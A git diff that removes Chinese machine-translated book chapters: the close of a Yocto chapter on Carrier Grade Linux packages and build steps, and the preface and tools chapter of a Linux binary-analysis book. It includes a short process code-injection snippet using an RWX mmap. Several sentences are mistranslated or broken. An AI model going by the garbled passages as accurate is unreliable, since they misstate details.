被称为**Pacemaker**,它无法检测到资源级故障,只能与两个节点交互。 随着时间的推移,它得到了发展,现在有了更好的支持和更多可用的用户界面。 其中一些服务如下: - -* **CRM shell**:它是一个命令行界面,由 Dejan Muhamedagic 实现,用于隐藏 XML 配置并帮助进行交互。 -* **高可用性 web 控制台**:它是 AJAX 前端 -* **心跳 GUI**:它是一个高级的 XML 编辑器,提供了大量的相关信息 -* **Linux 集群管理控制台(LCMC)**:它从**DRBD-Management Console**(**DRBD-MC**)开始,是一个 Java 平台,用于起搏器的管理。 - -Pacemaker 接受三种类型的资源代理(资源代理代表集群资源之间的标准接口)。 资源代理也是由 Linux-HA 管理的项目。 它由 ClusterLabs 的人员提供和维护。 根据选择的类型,它可以执行操作,例如启动/停止给定资源、监视、验证等。 支持的资源代理包括: - -* LSB 资源代理 -* OCF 资源代理 -* 传统心跳资源代理 - -**Cluster Glue**是一组库、实用程序和工具,与起搏器/心跳一起使用。 它基本上是将集群资源管理器(我指的是 Pacemaker)和消息层(可能是心跳)之间的一切联系在一起的粘合剂。 它现在作为一个单独的组件由 Linux-HA 子项目管理,尽管它最初是作为心跳的一个组件来管理的。 它有许多有趣的组件: - -* **本地资源管理器(LRM)**:它充当起搏器和资源代理之间的接口,并且不支持集群。 它的任务包括处理从 CRM 接收的命令,将它们传递给资源代理,并报告这些活动。 -* **击中其他节点头部(STONITH)**:这是一种用于节点隔离的机制,方法是使群集认为失效的节点可以从其中移除并防止任何交互风险。 -* **HB_REPORT**:它是一个错误报告实用程序,通常用于错误修复和隔离问题。 -* **集群管道库**:它是低级集群间通信库。 - -### 备注 - -有关 linux-HA 的更多信息,请访问以下链接:[http://www.linux-ha.org/doc/users-guide/users-guide.html](http://www.linux-ha.org/doc/users-guide/users-guide.html) - -下一个元素是 CorSync 集群引擎。 这是一个源自 OpenAIS 的项目,稍后将介绍。 它是一个群组通信系统,具有一组试图提供高可用性支持的功能和实现,并在 BSD 下获得许可。 它的功能包括以下几个方面: - -* 可用性管理器,用于在出现故障时重新启动应用。 -* 一种法定人数系统,用于通知法定人数的状态以及是否已达到法定人数。 -* 支持同步以复制状态机的封闭进程组通信模型。 -* 驻留在内存中的配置和统计数据库。 它提供接收、检索、设置和更改各种通知的功能。 - -接下来,我们来看看 OpenAIS。 它是**服务可用性论坛**(**SA**或**SA Forum**)提供的**应用接口规范**(**AIS**)的开放实现。 它代表一个提供高可用性支持的接口。 OpenAIS 中可用的源代码随着时间的推移在 OpenAIS 中进行了重构,只保留了特定于 SA 论坛的 API 和 CorSync。 它还被放置在所有核心基础设施组件中。 OpenAIS 非常类似于心跳;事实上,它是特定于行业标准的替代方案。 它也得到了起搏器的支持。 - -### 备注 - -有关人工智能的更多信息,请参考其维基百科页面和 SA 论坛网站[http://www.saforum.org/page/16627~217404/Service-Availability-Forum-Application-Interface-Specification](http://www.saforum.org/page/16627~217404/Service-Availability-Forum-Application-Interface-Specification)。 - -接下来是`ocfs2-tools`包。 它是一组实用程序,能够以创建、调试、修复或管理 OCFS2 文件系统的形式完成工作。 它包括与 Linux 用户习惯的工具非常相似的工具,如`mkfs.ocfs2`、`mount.ocfs2 fsck.ocfs2`、`tunefs.ocfs2`和`debugfs.ocfs2`。 - -**Oracle 集群文件系统**(**OCFS**)是 Oracle 开发的第一个共享磁盘文件系统,在 GNU 通用公共许可证下发布。 它不是 POSIX 兼容的文件系统,但是当 OCFS2 出现并集成到 Linux 内核中时,情况发生了变化。 随着时间的推移,它成为能够同时提供高可用性和高性能的分布式锁管理器。 它现在被用于各种场合,例如虚拟化、数据库集群、中间件和设备。 这些是它最显著的一些特点: - -* 优化配置 -* Reflinks -* 元数据校验和 -* 索引目录 -* 每个信息节点的扩展属性 -* 用户和组配额 -* 高级安全性,例如 SELinux 和 POSIX ACL 支持 -* 支持群集的工具,如前面提到的工具,包括 mkfs、tunefs、fsck、mount 和 debugfs -* 带有分布式锁管理器的内置群集堆栈 -* 日记本 -* 可变数据块和群集大小 -* 缓冲、内存映射、拼接、直接、异步 I/O -* 架构和字符顺序中立 - -`lksctp-tools`包是一个 Linux 用户空间实用程序,它包括一个库和适当的 C 语言头,用于与 SCTP 接口交互。 Linux 内核从 2.6 版开始就支持 SCTP,因此用户空间兼容性工具的存在对任何人来说都不足为奇。 Lksctp 提供对基于 SCTP 套接字的 API 的访问。 该实现是根据 IETF 互联网草案(可在[http://tools.ietf.org/html/draft-ietf-tsvwg-sctpsocket-15](http://tools.ietf.org/html/draft-ietf-tsvwg-sctpsocket-15)获得)进行的。 它提供了一种灵活且一致的开发基于套接字的应用的方法,该方法利用**流控制传输协议**(**SCTP**)。 - -SCTP 是面向消息的传输协议。 作为传输层协议,它在 IPv4 或 IPv6 实施上运行,除了 TCP 的功能外,它还支持以下功能: - -* 多流 -* 消息成帧 -* 多宿主 -* 有序和无序的消息传递 -* 安全性和身份验证 - -这些特殊的特性对于工业运营商分级系统是必要的,并且用于电话信令等领域。 - -### 备注 - -有关 SCTP 的更多信息,请访问[http://www.ietf.org/rfc/rfc2960.txt](http://www.ietf.org/rfc/rfc2960.txt)和[http://www.ietf.org/rfc/rfc3286.txt](http://www.ietf.org/rfc/rfc3286.txt) - -现在,我将稍微改变一下节奏,并解释**monit**,这是一个非常小但功能强大的实用程序,用于监视和管理系统。 它在自动维护和修复 Unix 系统方面非常有用,比如 BSD 发行版、各种 Linux 发行版以及其他可以包含 OS X 的平台。如果超过各种阈值,它可以用于各种任务,包括文件监视、文件系统更改以及与事件进程的交互。 - -由于所有配置都基于易于掌握的面向令牌的语法,因此很容易配置和控制 monit。 此外,它还提供有关其活动的各种日志和通知。 它还提供 Web 浏览器界面,以便更轻松地访问。 因此,拥有一个易于交互的通用系统资源管理器,使 monit 成为运营商级 Linux 系统的一种选择。 如果您有兴趣查找有关它的更多信息,请访问该项目的网站[http://mmonit.com/monit/](http://mmonit.com/monit/)。 - -**OpenIPMI**是**智能平台管理接口**(**IPMI**)的实现,它试图提供对 IPMI 所有功能的访问,并提供抽象以便于使用。 它由两个组件组成: - -* 可插入 Linux 内核的内核驱动程序 -* 提供 IPMI 抽象功能并提供对操作系统使用的各种服务的访问的库 - -IPMI 代表一组计算机接口规范,这些规范试图通过提供能够监控和管理主机系统功能的智能自治系统来降低总拥有成本。 这里,我们指的不仅仅是操作系统,还有固件和 CPU 本身。 这种智能接口的开发是由英特尔牵头的,现在得到了许多令人印象深刻的公司的支持。 - -### 备注 - -有关 IPMI、OpenIMPI 以及其他受支持的 IPMI 驱动程序和功能的详细信息,请参阅[http://openipmi.sourceforge.net/](http://openipmi.sourceforge.net/)和[http://www.intel.com/content/www/us/en/servers/ipmi/ipmi-home.html](http://www.intel.com/content/www/us/en/servers/ipmi/ipmi-home.html)。 - -有一些包也应该出现在`meta-cgl`层中,但是在撰写本章时,它们在那里仍然不可用。 我将从`mipv6-daemon-umip`开始,它尝试为**移动互联网协议版本 6**(**MIPv6**)守护进程提供数据分发。 **UMIP**是一个基于 MIPL2 的 Linux 开源移动 IPv6 协议栈,维护最新的内核版本。 这些软件包是由 IPv6(**Usagi**)项目**Universal Platform****为 MIPL2 打的一组补丁,该项目试图为 Linux 系统的 IPsec(IPv6 和 IPv4 选项)和 IPv6 协议栈实现提供业界就绪的质量。** - -### 备注 - -有关 UMIP 的更多信息,请访问[http://umip.linux-ipv6.org/index.php?n=Main.Documentation](http://umip.linux-ipv6.org/index.php?n=Main.Documentation)。 - -**Makeumfile**是一种工具,它可以压缩转储文件的大小,还可以排除分析不需要的内存页面。 对于某些 Linux 发行版,它附带了一个名为`kexec-tools`的包,可以使用 RPM(运营商分级规范支持的包管理器)安装在您的发行版中。 它非常类似于命令,如`gzip`或`split`。 它只接收 ELF 格式文件的输入,这使得它成为`kdumps`的首选。 - -另一个有趣的项目是`evlog`,这是一个面向企业级系统的**Linux 事件日志记录系统**。 它还符合 POSIX 标准,并提供从`printk`到`syslog`的各种形式的日志记录,以及其他内核和用户空间功能。 输出事件以符合 POSIX 的格式提供。 它还支持选择与某些定义的过滤器匹配的日志,甚至注册特殊的事件格式。 只有在满足注册事件筛选器时才能通知它们。 它的特性当然让这个包很有趣,可以在[http://evlog.sourceforge.net/](http://evlog.sourceforge.net/)上找到。 - -还有许多其他软件包可以包含在`meta-cgl`层中。 看一看注册的 CGL 发行版可以帮助您理解这样一个项目的复杂性。 要更方便地访问此列表,请参阅[http://www.linuxfoundation.org/collaborate/workgroups/cgl/registered-distributions](http://www.linuxfoundation.org/collaborate/workgroups/cgl/registered-distributions)以简化搜索过程。 - -要与`meta-cgl`层交互,第一个必要的步骤是确保所有相互依赖的层都可用。 有关如何构建运营商分级兼容 Linux 映像的最新信息,请参阅所附的`README`文件。 我在这里还给您举了一个示例,目的是为了演示它: - -```sh -git clone git://git.yoctoproject.org/poky.git -cd ./poky -git clone git://git.yoctoproject.org /meta-openembedded.git -git clone git://git.enea.com/linux/meta-cgl.git -git clone git://git.yoctoproject.org/meta-qt3 -git clone git://git.yoctoproject.org/meta-virtualization -git clone git://git.yoctoproject.org/meta-selinux -git clone git://git.yoctoproject.org/meta-cloud-services -git clone git://git.yoctoproject.org/meta-security -git clone https://github.com/joaohf/meta-openclovis.git - -``` - -接下来,需要创建构建目录并进行配置: - -```sh -source oe-init-build-env -b ../build_cgl - -``` - -在`conf/bblayers.conf`文件内,这些是需要添加的层: - -```sh -meta-cgl/meta-cgl-common -meta-qt3 -meta-openembedded/meta-networking -meta-openembedded/meta-filesystems -meta-openembedded/meta-oe -meta-openembedded/meta-perl -meta-virtualization -meta-openclovis -meta-selinux -meta-security -meta-cloud-services/meta-openstack -``` - -在`conf/local.conf`文件内,应选择相应的机器。 我建议由于食谱的重复,应该提供`qemuppc`,以及可以更改为`poky-cgl. BBMASK`的`DISTRO`变量: - -```sh -BBMASK = "meta-openembedded/meta-oe/recipes-support/multipath-tools" -``` - -有了所有这些地方,构建过程就可以开始了。 执行此操作所需的命令为: - -```sh -bitbake core-image-cgl - -``` - -请确保您有时间进行此操作,因为构建可能需要一段时间,具体取决于主机系统的配置。 - -# 摘要 - -在本章中,您将了解运营商级 Linux 和 Linux 标准库所需的规格信息。 还解释了其他选项,如汽车级和运营商级虚拟化,最后向您展示了对 Yocto 项目的支持和几个演示,以完成此学习过程。 - -这是这本书的最后一章,希望你旅途愉快。 另外,我希望我能把我得到的一些信息传递给你们。 既然我们已经读完了这本书,我必须承认,在写这本书的过程中,我也学到了新的东西,收集了新的信息。 我希望您也能接触到 Yocto bug,并且能够为 Yocto 项目和整个开源社区贡献自己的力量。 我相信,从现在开始,嵌入式世界将为您提供更少的秘密。 确保你在这个话题上也给其他人带来了一些启发! \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/README.md b/docs/learn-emb-linux-yocto-proj/README.md deleted file mode 100644 index 62764e32..00000000 --- a/docs/learn-emb-linux-yocto-proj/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 使用 Yocto 项目学习 Linux 嵌入式编程 - -> 原文:[Learning embedded Linux using the Yocto project](https://libgen.rs/book/index.php?md5=6A5B9E508EC2401ECE20C211D2D71910) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/learn-emb-linux-yocto-proj/SUMMARY.md b/docs/learn-emb-linux-yocto-proj/SUMMARY.md deleted file mode 100644 index 7f31f860..00000000 --- a/docs/learn-emb-linux-yocto-proj/SUMMARY.md +++ /dev/null @@ -1,15 +0,0 @@ -+ [使用 Yocto 项目学习 Linux 嵌入式编程](README.md) -+ [零、前言](00.md) -+ [一、引言](01.md) -+ [二、交叉编译](02.md) -+ [三、引导加载器](03.md) -+ [四、Linux 内核](04.md) -+ [五、Linux 根文件系统](05.md) -+ [六、Yocto 项目的组成](06.md) -+ [七、ADT Eclipse 插件](07.md) -+ [八、Hob、Toaster 和 AutoBuilder](08.md) -+ [九、WIC 和其他工具](09.md) -+ [十、实时](10.md) -+ [十一、安全](11.md) -+ [十二、虚拟化](12.md) -+ [十三、CGL 和 LSB](13.md) diff --git a/docs/learn-linux-bin-anal/0.md b/docs/learn-linux-bin-anal/0.md deleted file mode 100644 index c29db0b4..00000000 --- a/docs/learn-linux-bin-anal/0.md +++ /dev/null @@ -1,123 +0,0 @@ -# 零、前言 - -软件工程是创造一项在微处理器上存在、存在和呼吸的发明。 我们称之为程序。 逆向工程的行为发现这个项目如何生活和呼吸,而且它是我们如何理解,解剖,或修改的行为程序使用反汇编器和扭转工具和依赖我们的黑客本能掌握我们逆向工程的目标程序。 我们必须理解复杂的二进制格式、内存布局和给定处理器的指令集。 因此,我们成为了赋予微处理器上的程序生命的主人。 逆向工程师擅长二元精通的艺术。 本书将为您提供成为 Linux 二进制黑客所需的适当课程、见解和任务。 当有人可以称自己为逆向工程师时,他们把自己提升到了不仅仅是工程的水平。 真正的黑客不仅会写代码,还会剖析代码,反汇编二进制文件和内存段,以追求修改软件程序的内部工作; 这就是力量…… - -在专业和业余水平上,我使用我的逆向工程技能在计算机安全领域,无论是漏洞分析,恶意软件分析,杀毒软件,rootkit 检测,或病毒设计。 这本书的大部分内容将集中在计算机安全方面。 我们将分析内存转储,重建进程图像,并探索二进制分析的一些更深奥的领域,包括 Linux 病毒感染和二进制取证。 我们将剖析被恶意软件感染的可执行文件,并感染正在运行的进程。 本书旨在解释在 Linux 中进行逆向工程所必需的组件,因此我们将深入学习 ELF(可执行和链接格式),它是在 Linux 中用于可执行文件、共享库、核心转储和目标文件的二进制格式。 这本书最重要的方面之一是它对 ELF 二进制格式的结构复杂性进行了深刻的理解。 ELF 部分、片段和动态链接概念是非常重要和令人兴奋的知识块。 我们将深入研究破解 ELF 二进制文件,并了解如何将这些技能应用到广泛的工作中。 - -这本书的目的是教你是为数不多的几个人在 Linux 二进制程序黑客强有力的基础,将显示作为一个庞大的主题,开门创新研究和让你低级的前沿黑客的 Linux 操作系统。 您将获得 Linux 二进制(和内存)补丁、病毒工程/分析、内核取证和 ELF 二进制格式等方面的宝贵知识。 您还将深入了解程序执行和动态链接,并对二进制保护和内部调试有更高的理解。 - -我是一名计算机安全研究员、软件工程师和黑客。 这本书仅仅是一个有组织的观察和记录我所做的研究和基础知识,已经证明了作为结果。 - -这些知识涵盖了互联网上任何一个地方都无法找到的广泛信息。 这本书试图将许多相互关联的主题集中在一起,以便它可以作为一个介绍性手册和参考 Linux 二进制代码和内存破解的主题。 它绝不是一个完整的参考,但确实包含了许多核心信息开始。 - -# 这本书的内容 - -第 1 章,*Linux 环境及其工具*简要描述了我们将在整本书中使用的 Linux 环境及其工具。 - -第二章,*ELF 二进制格式*帮助您了解在 Linux 和大多数 unix 操作系统上使用的 ELF 二进制格式的每个主要组件。 - -第三章,*Linux 进程跟踪*,教你如何使用 ptrace 系统调用来读写进程内存和注入代码。 - -[第 4 章](4.html#164MG1-1d4163ae11644cc2802846625b2dc985 "Chapter 4. ELF Virus Technology – Linux/Unix Viruses"),*ELF 病毒技术- Linux/Unix 病毒*,在这里你会发现 Linux 病毒的过去,现在和未来,它们是如何被设计的,以及围绕它们的所有惊人的研究。 - -第五章,*Linux 二进制保护*,阐述了 ELF 二进制保护的基本内部原理。 - -[第 6 章](6.html#1P71O2-1d4163ae11644cc2802846625b2dc985 "Chapter 6. ELF Binary Forensics in Linux"),*ELF 二进制取证在 Linux*,是你学习剖析 ELF 对象在搜索病毒,后门,和可疑代码注入。 - -[第七章](7.html#21PMQ1-1d4163ae11644cc2802846625b2dc985 "Chapter 7. Process Memory Forensics"),*进程内存取证*,展示了如何剖析进程地址空间,以搜索恶意软件,后门,以及可疑的代码注入,这些都存在于内存中。 - -[第 8 章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ECFS - Extended Core File Snapshot Technology*,介绍了 ECFS,一个新的开源产品,用于深度进程内存取证。 - -第 9 章,*Linux /proc/kcore 分析*,展示了如何通过/proc/kcore 内存分析来检测 Linux 内核恶意软件。 - -# 你需要什么来写这本书 - -这本书的先决条件如下:我们假设你有 Linux 命令行的工作知识,全面的 C 编程技能,以及对 x86 汇编语言的基本掌握(这是有帮助的,但不是必需的)。 有一种说法,“如果你能读懂汇编语言,那么一切都是开源的。” - -# 这本书是写给谁的 - -如果您是一名软件工程师或逆向工程师,并且想要学习更多关于 Linux 二进制分析的知识,这本书将为您提供在安全、取证和反病毒领域实现二进制分析解决方案所需的所有知识。 这本书对于安全爱好者和系统级工程师来说都是极好的。 需要具备 C 编程语言和 Linux 命令行方面的经验。 - -# 约定 - -在这本书中,你会发现许多不同的文本样式来区分不同种类的信息。 下面是这些风格的一些例子以及对它们含义的解释。 - -文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄如下所示:“有 7 个 section 头,从偏移量`0x1118`开始。” - -一段代码设置如下: - -```sh -uint64_t injection_code(void * vaddr) -{ - volatile void *mem; - - mem = evil_mmap(vaddr, - 8192, - PROT_READ|PROT_WRITE|PROT_EXEC, - MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, - -1, 0); - - __asm__ __volatile__("int3"); -} -``` - -当我们希望提请您注意代码块的特定部分时,相关的行或项以粗体显示: - -```sh -0xb755a990] changed to [0x8048376] -[+] Patched GOT with PLT stubs -Successfully rebuilt ELF object from memory -Output executable location: dumpme.out -[Quenya v0.1@ELFWorkshop] -quit -``` - -任何命令行输入或输出都写如下: - -```sh -hacker@ELFWorkshop:~/ -workshop/labs/exercise_9$ ./dumpme.out - -``` - -### 注意事项 - -警告或重要说明显示在这样的框中。 - -### 提示 - -提示和技巧是这样的。 - -# 读者反馈 - -我们欢迎读者的反馈。 让我们知道你对这本书的看法——你喜欢或不喜欢这本书。 读者反馈对我们来说很重要,因为它能帮助我们开发出你能真正从中获益最多的游戏。 - -要向我们发送一般性的反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在邮件的主题中提到这本书的标题。 - -如果有一个主题,你有专业知识,你有兴趣写或贡献一本书,请参阅我们的作者指南[www.packtpub.com/authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -现在,你已经自豪地拥有了一本书,我们有一些东西可以帮助你从购买中获得最大的好处。 - -## 示例代码下载 - -您可以从您的帐户[http://www.packtpub.com](http://www.packtpub.com)下载您购买的所有 Packt Publishing 图书的示例代码文件。 如果您在其他地方购买这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册,将文件直接通过电子邮件发送给您。 - -## 勘误表 - -尽管我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果你在我们的书中发现错误,也许是文本或代码上的错误,如果你能向我们报告,我们将不胜感激。 通过这样做,您可以使其他读者免受挫折,并帮助我们改进这本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,点击**勘误表提交表格**链接,并输入您的勘误表详细信息。 一旦您的勘误表被核实,您的提交将被接受,勘误表将被上载到我们的网站或添加到该标题的勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请访问[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索字段中输入书名。 所需资料将出现在**勘误表**部分。 - -## 盗版 - -在互联网上盗版受版权保护的材料是一个贯穿所有媒体的持续问题。 在 Packt,我们非常重视版权和授权的保护。 如果您在互联网上发现我们的作品以任何形式的非法拷贝,请立即提供我们的地址或网站名称,以便我们进行补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`与我们联系,并提供疑似盗版资料的链接。 - -我们感谢您的帮助,保护我们的作者和我们的能力,为您带来有价值的内容。 - -## 问题 - -如果您对本书的任何方面有任何疑问,您可以通过`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽力解决问题。 \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/1.md b/docs/learn-linux-bin-anal/1.md deleted file mode 100644 index f5516a43..00000000 --- a/docs/learn-linux-bin-anal/1.md +++ /dev/null @@ -1,242 +0,0 @@ -# 一、Linux 环境及其工具 - -在这一章中,我们将关注 Linux 环境,因为它与本书的重点相关。 由于本书关注的是 Linux 二进制分析,所以利用 Linux 自带的每个人都可以访问的本地环境工具是有意义的。 Linux 自带了已经安装的无处不在的二进制文件,但是可以在[http://www.gnu.org/software/binutils/](http://www.gnu.org/software/binutils/)找到它们。 它们包含大量可供二进制分析和黑客使用的工具。 这不是另一本关于使用 IDA Pro 的书。 IDA 无疑是二进制文件逆向工程的最佳通用软件,我鼓励在需要时使用它,但在本书中我们不会使用它。 相反,您将获得能够跳到任何 Linux 系统上的技能,并了解如何在一个已经可以访问的环境中开始破解二进制文件。 因此,您可以学会欣赏 Linux 作为一个真正的黑客环境的美妙之处,这里有许多可用的免费工具。 在整本书中,我们将演示各种工具的使用,并在每一章中概述如何使用它们。 与此同时,让本章作为 Linux 环境中这些工具和技巧的入门或参考。 如果您已经非常熟悉 Linux 环境及其用于反汇编、调试和解析 ELF 文件的工具,那么您可以跳过本章。 - -# Linux 工具 - -在本书中,我们将使用各种任何人都可以访问的免费工具。 本节将简要介绍其中一些工具。 - -## GDB - -**GNU 调试器**(**GDB**)不仅可以调试有 bug 的应用。 它还可以用于了解程序的控制流、更改程序的控制流以及修改代码、寄存器和数据结构。 这些任务对于正在利用软件漏洞或正在阐明复杂病毒的内部工作原理的黑客来说是常见的。 GDB 适用于 ELF 二进制文件和 Linux 进程。 它是 Linux 黑客的基本工具,在本书的各个例子中都会用到。 - -## Objdump from GNU binutils - -**对象转储**(**objdump**)是简单而干净的解决方案,用于代码的快速反汇编。 它可以很好地分解简单且未被篡改的二进制文件,但当试图将其用于任何真正具有挑战性的逆向工程任务时,尤其是针对敌对软件时,它将很快显示出其局限性。 它的主要缺点是它依赖于`ELF`节报头,并且不执行控制流分析,这两个限制极大地降低了它的鲁棒性。 这将导致无法正确地反汇编二进制文件中的代码,甚至在没有段头的情况下根本无法打开二进制文件。 然而,对于许多常规任务来说,它应该足够了,比如在分解未进行任何强化、剥离或模糊处理的通用二进制文件时。 它可以读取所有常见的`ELF`类型。 下面是一些如何使用`objdump`的常见例子: - -* 查看`ELF`文件中每个部分的所有数据/代码: - - ```sh - objdump -D - - ``` - -* 只查看`ELF`文件中的程序代码: - - ```sh - objdump -d - - ``` - -* 查看所有符号: - - ```sh - objdump -tT - - ``` - -在[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format")、*ELF 二进制格式*介绍`ELF`格式期间,我们将深入探讨`objdump`和其他工具。 - -## Objcopy from GNU binutils - -**Object copy**(**Objcopy**)是一个非常强大的小工具,我们无法用一个简单的概要来概括。 我建议您阅读手册页以获得完整的描述。 `Objcopy`可以用来分析和修改任何类型的`ELF`对象,尽管它的一些特征是特定于`ELF`对象的某些类型的。 `Objcopy`常用于将`ELF`节修改或从`ELF`二进制文件中复制。 - -要将`.data`节从`ELF`对象复制到文件中,使用下面这行: - -```sh -objcopy –only-section=.data - -``` - -`objcopy`工具将在本书的其余部分根据需要进行演示。 请记住,它是存在的,对于 Linux 二进制代码黑客来说,它是一个非常有用的工具。 - -## strace - -**系统调用跟踪**(**strace**)是一个工具【显示】,`ptrace(2)`是基于系统调用,它利用`PTRACE_SYSCALL`请求在一个循环中显示的信息系统调用(也称为`syscalls`)活动在一个运行的程序以及执行期间捕获的信号。 这个程序对于调试非常有用,或者只是用来收集运行时调用的`syscalls`的信息。 - -这是用来跟踪一个基本程序的`strace`命令: - -```sh -strace /bin/ls -o ls.out - -``` - -用于附加到现有进程的`strace`命令如下: - -```sh -strace -p -o daemon.out - -``` - -初始输出将显示每个以文件描述符作为参数的系统调用的文件描述符编号,例如: - -```sh -SYS_read(3, buf, sizeof(buf)); - -``` - -如果你想看到所有被读入文件描述符 3 的数据,你可以运行以下命令: - -```sh -strace -e read=3 /bin/ls - -``` - -您也可以使用`-e write=fd`来查看写入的数据。 `strace`工具是一个伟大的小工具,毫无疑问,你会发现许多理由使用它。 - -## 追踪 - -**库跟踪**(**ltrace**)是另一个简洁的小工具,它与`strace`非常相似。 它的工作原理与此类似,但实际上它解析程序的共享库链接信息,并打印正在使用的库函数。 - -## 基本 ltrace 命令 - -您可能会看到带有`-S`标志的库函数调用除了之外还有系统调用。 `ltrace`命令的目的是提供更细粒度的信息,因为它解析可执行文件的动态段,并从共享库和静态库打印实际的符号/函数: - -```sh -ltrace -o program.out - -``` - -## ftrace - -**功能跟踪**(**ftrace**)是我设计的一个工具。 它类似于`ltrace`,但它也显示了对二进制文件本身中的函数的调用。 在 Linux 中,我找不到其他公开可用的工具可以做到这一点,所以我决定编写一个。 这个工具可以在[https://github.com/elfmaster/ftrace](https://github.com/elfmaster/ftrace)找到。 下一章将给出这个工具的演示。 - -## readelf - -`readelf`命令是用于解析`ELF`二进制文件最有用的工具之一。 它提供了特定于`ELF`的每一位数据,这些数据是在逆向工程之前收集关于一个对象的信息所必需的。 本书将经常使用这个工具来收集关于符号、段、节、重定位条目、数据的动态链接等等的信息。 `readelf`命令是`ELF`的瑞士军刀。 我们将在[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format")、*ELF 二进制格式*中根据需要深入讨论它,但这里有一些它最常用的标志: - -* 检索 section 头表: - - ```sh - readelf -S - - ``` - -* 检索程序头表: - - ```sh - readelf -l - - ``` - -* 检索一个符号表: - - ```sh - readelf -s - - ``` - -* 检索`ELF`文件头数据: - - ```sh - readelf -e - - ``` - -* 检索重定位条目: - - ```sh - readelf -r - - ``` - -* 检索动态段: - - ```sh - readelf -d - - ``` - -## ERESI - ELF 逆向工程系统接口 - -ERESI 项目([http://www.eresi-project.org](http://www.eresi-project.org))包含一套包含许多工具的工具,这是 Linux 二进制黑客的梦想。 不幸的是,它们中的许多都不是最新的,也不能与 64 位 Linux 完全兼容。 然而,它们确实存在于各种架构中,并且无疑是用于破解当今存在的`ELF`二进制文件的最具创新性的工具集合。 因为我个人并不熟悉使用 ERESI 项目的工具,而且它们不再是最新的,所以我不会在本书中探讨它们的功能。 但是,请注意,有两篇 Phrack 文章展示了 ERESI 工具的创新和强大特性: - -* 地狱犬 ELF 接口([http://www.phrack.org/archives/issues/61/8.txt](http://www.phrack.org/archives/issues/61/8.txt)) -* 嵌入式 ELF 调试([http://www.phrack.org/archives/issues/63/9.txt](http://www.phrack.org/archives/issues/63/9.txt)) - -# 有用的设备和文件 - -Linux 有许多文件、设备和`/proc`条目,这些对热心的黑客和反向工程师非常有帮助。 在本书中,我们将展示这些文件中的许多有用之处。 下面是本书中常用的一些短语的描述。 - -## /proc//maps`文件包含进程映像的布局,通过显示每个内存映射。 这包括可执行文件、共享库、堆栈、堆、VDSO 等等。 该文件对于快速解析进程地址空间的布局至关重要,在本书中多次使用该文件。 - -## /proc/kcore - -`/proc/kcore`是`proc`文件系统中的一个条目,它充当 Linux 内核的一个动态核心文件。 也就是说,它是一个以`ELF`核心文件的形式呈现的原始内存转储,GDB 可以使用它来调试和分析内核。 我们将在[第九章](9.html#2G3F81-1d4163ae11644cc2802846625b2dc985 "Chapter 9. Linux /proc/kcore Analysis"),*Linux /proc/kcore Analysis*中深入探讨`/proc/kcore`。 - -## /boot/System.map - -这个文件在几乎所有的 Linux 发行版中都可用,对内核黑客非常有用。 它包含了整个内核的所有符号。 - -## /proc/kallsyms - -`kallsyms`与非常相似,只是它是一个`/proc`条目,这意味着它由内核维护并动态更新。 因此,如果安装了任何新的 lkm,符号将被动态地添加到`/proc/kallsyms`中。 `/proc/kallsyms`至少包含内核中的大部分符号,如果在`CONFIG_KALLSYMS_ALL`内核配置中指定,则将包含所有符号。 - -## /proc/iomem - -`iomem`是一个有用的 proc 条目,因为它与`/proc//maps`非常相似,但是对于所有的系统内存来说。 例如,如果你想知道内核的文本段在物理内存中映射到哪里,你可以搜索`Kernel`字符串,你会看到`code/text`段、数据段和`bss`段: - -```sh - $ 